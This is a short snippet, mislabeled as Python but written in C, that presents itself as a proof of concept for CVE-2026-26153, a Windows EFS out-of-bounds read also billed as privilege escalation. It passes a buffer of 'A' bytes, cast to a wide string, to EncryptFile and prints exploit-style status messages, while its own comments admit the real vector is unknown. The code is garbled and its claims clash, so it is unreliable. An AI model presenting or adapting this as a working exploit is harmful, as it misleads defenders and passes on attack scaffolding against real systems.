The following code is for security research and authorized testing only.
python
/*
* Conceptual PoC for CVE-2026-26153 (Out-of-bounds Read in Windows EFS)
* This code demonstrates the logic to trigger the vulnerability.
* Note: This is a simulation for analysis purposes.
*/
#include <windows.h>
#include <stdio.h>
void TriggerEFSVuln() {
HANDLE hFile;
BYTE maliciousBuffer[0x100];
DWORD bytesReturned;
// Initialize buffer with specific pattern to trigger OOB read
memset(maliciousBuffer, 0x41, sizeof(maliciousBuffer));
// Attempt to interact with EFS using a crafted input
// In a real scenario, this would involve a specific IOCTL or API sequence
printf("[*] Attempting to trigger EFS Out-of-bounds Read...\n");
// Simulated trigger point (Actual vector depends on vulnerable API)
BOOL result = EncryptFile((LPCWSTR)maliciousBuffer);
if (!result) {
printf("[!] Exploit trigger failed or invalid parameters.\n");
} else {
printf("[*] Trigger executed. Check kernel debugger for OOB access violation.\n");
}
}
int main() {
printf("CVE-2026-26153 PoC - Local Privilege Escalation\n");
TriggerEFSVuln();
return 0;
}